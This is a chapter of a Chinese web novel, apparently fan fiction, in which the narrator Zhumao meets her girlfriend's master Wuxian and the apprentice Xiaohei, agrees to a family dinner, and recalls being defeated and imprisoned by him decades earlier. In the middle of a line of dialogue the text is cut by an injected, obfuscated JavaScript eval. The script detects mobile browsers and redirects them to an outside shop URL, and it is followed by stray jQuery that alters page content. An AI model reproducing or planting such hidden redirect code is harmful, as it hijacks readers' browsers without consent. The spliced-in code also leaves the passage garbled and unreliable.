今晚意外遇见了好几个月没见的小黑,这让我很惊喜,不过更让我惊的是猝不及防地遇到了他师父——也就是“会馆最强执行者”头衔目前的持有者,无限。


    我在很多年前跟这位强者有过几面之缘,只是后来很多事情都变得物是人非,他没有把我这人跟如今的名字联系起来也正常。


    小黑像是察觉到这见面气氛的古怪之处,当即腼腆地冲我笑了一下,随后就跑回师父身边偷偷拉着他的长衫衣摆,好奇地在我们之间张望起来。


    无限站在原地,也不靠近,只是平和地问我:“这些年里,竹茂你过得好吗?”


    其实说好也不算特别好,但说超级糟糕的话,也不至于。


    于是我回答:“一般吧。但是最近很好。”


    “为何?”


    “我跟鹿野正式交往了。”我选择主动跟女朋友的师父汇报感情进展情况。


    无限看起来颇为震惊,以至于一时间连原本淡然的表情都忘了保持:“……何时的事情?”


    单纯的小黑依旧好奇巴巴地望着我们,似乎没有理解什么叫做“交往”,可能以为只是朋友日常相处的一种形式吧。


    “唔,不到一周。”我有点困惑地说,怀疑是不是鹿野拉黑了自家师父,但又不敢问,“我记得她发了朋友圈,您难道……”


    这位四十旬老人顿时微微一笑:“朋友圈?我平时比较少刷那个。晚点回去给她点个赞。”


    ——行叭,那看来没有被拉黑。我保持礼节性笑容的点点头。


    停顿了一下,无限缓缓开口,神色郑重而温柔:“我知道你们是很要好的朋友,但我没想到她说的那人就是你……辛苦你照顾那孩子了。”


    如今的无限与我记忆中那位孤身一人奔赴风暴中心的执行者形象又大为不同。


    兴许是这些年里先后收了两位弟子,有了羁绊和牵挂的他看起来更像是一位邻家的年轻好爸爸,而非是令人为之胆寒的那位强到不可理喻的对手。


    但我敬重无限的原因也并非他很强,亦或者他是鹿野的师父——虽然这两个因素也多多少少有些影响——但更重要的是,我知道他是个值得敬重的好人。


    我谦虚地回答:“哪里哪里,分明是鹿野照顾我的时候比较多。”


    反正这是面对长辈所使用的话术嘛,都是特定场合专用台词,不用去计较太多。


    总不能自爆“没错我就是个黏人精,跟您的关门弟子忙着夜夜笙歌,共赴巫山云雨”这种真话吧……也不是不行,可我没事说这个干什么?


    在长辈面前发出这等暴论实在是太羞耻了!


    我们闲聊几句后,方才得知无限今日是来总馆办点小事。


    他想着小黑在家一只猫也很无聊,干脆带过来想探望一下鹿野——没想到她刚好出任务去了。


    小黑此时叽叽喳喳地插话:“可是阿竹姐你身上的味道跟师姐好像哦,搞得我以为她提前结束任务回来了!害得我还认错了……”


    “是吧。”


    我尽量让自己看起来不要笑得那么开心,在小朋友面前还是多少维持一下可靠大人的形象,无限则是格外慈爱地注视着我。


    由于如今天色已晚,两人打算离开总馆回去了,无限甚至婉拒了我的晚饭请客邀约。


    他看起来又恢复了那副淡然和善的高人气质,牵着小黑的手,对我说道:“竹茂,我可以如鹿野和小黑那样叫你一声‘阿竹’吗?”


    我连忙同意:“当然可以,您随意。”


    “好,阿竹。”无限温文尔雅地开口,“你们打算何时来家里吃饭?”


    “吃饭?”我重复道。


    奇怪,鹿野怎么之前没跟我说过这事儿。


    而且怎么回事,今天怎么约的都是长辈饭局——先是大松先生,然后是无限大人。


    无限的神情平和安宁:“嗯,我之前便向鹿野提议过,等你康复痊愈后大家有空一起聚个餐。可能她近日来公务繁忙,一时遗忘了。”


    我:“……”


    我怀疑自家恋人不是因为“公务繁忙”,而是“其它私人原因繁忙”。


    “这样啊,是否太麻烦您了?”我客客气气地提议,“不如我们请您和小黑去【粤东会馆】吃一顿。或者您有什么中意的餐厅,我这边提前去预约也行……”


    无限闻言展露柔和的笑容,令人大有如沐春风之感:“阿竹,这只是家宴而已,我平日里给小黑下厨做饭也早已习惯,不会麻烦。更何况,上次见面时是我品尝了你的手艺,这回倒是给我施展一番的机会吧?”


    他这话说得合情合理,我根本拒绝不了。


    而且无限的提议确实戳中了我的好奇心,因此我非常有礼貌地回答:“我没问题,近期都有空,主要看鹿野的空闲时间。”


    无限愈发欣慰了:“太好了,等她这次任务结束回来后,我跟她约个时间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17462161|194830||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    见我们三言两语就把家宴的事情给定下来了,不知为何,小黑在一旁瞬间变得瞳孔地震,试图向我疯狂使眼色……但我看不懂,难道是小猫认为自家师父的手艺很好?急着向我炫耀?


    真是期待。


    “这样吧,我加一下您的好友,方便吗?”我主动询问。


    “当然。”无限掏出手机打开个人二维码展示给我看,我低头去扫描时便听他轻轻地问了一句话。


    他的声音很轻,仿佛是刮过枝头叶片的风声。


    “阿竹,你恨我吗?”


    “……您是说当年那件事?技不如人,输了就是输了,我甘拜下风。”我真诚地笑着抬起头,“更何况,您与我当年都是各行其道而已。”


    我真的不恨他。尽管在八十多年前,在岛国首都“月都”,就是眼前这位无限大人将我吊起来狠狠地打了一顿后,抓住送入冰云城接受审判。


    他在战场上堂堂正正地击败了我,没有使用任何阴谋诡计。


    我输了……真是个强得跟怪物一样的人类。


    传说中高居八百万神灵的“夜天原”没有降下任何神罚,会馆却派出了他们的“人间之神”来阻止我。


    但我的确不怪他。


    ——因为就算没有无限,会馆方面也会派出别的厉害强者来阻挠和抓捕我。


    我知道自己在做什么,也知道利用妖精的能力如此深入地掺和进人类世界的争斗是非常危险的事情,我已经做好了随时死去的准备。


    但是无限此人……直到真正动手前的最后一刻,他都想要劝阻我、挽救我,说服我停手。


    甚至就在我入狱后,他还专程来看望我,问我有什么未完成之事以及想要帮我去完成那些遗愿。


    可那个时候的我已经没有牵挂的人了,此生也没有什么未尽的仇怨。


    ——我知道,他是个好人。


    所以我真诚地感谢了无限的这份善意,并与他就此永别。


    结果我没死成,还失忆了,还无法遏制地爱上人家的徒弟……这就很尴尬了。


    “……”


    不过如今无限只是用格外沉静的眼神凝望着我,他的眼睛就像是这片宽广深沉的夜幕,见证了我从当年直至今日的一切变化。


    “阿竹。”他最终微笑起来,“你的心比以前更开阔了。”


    我也笑了:“是吗?那我就当是夸奖,好好地收下了。”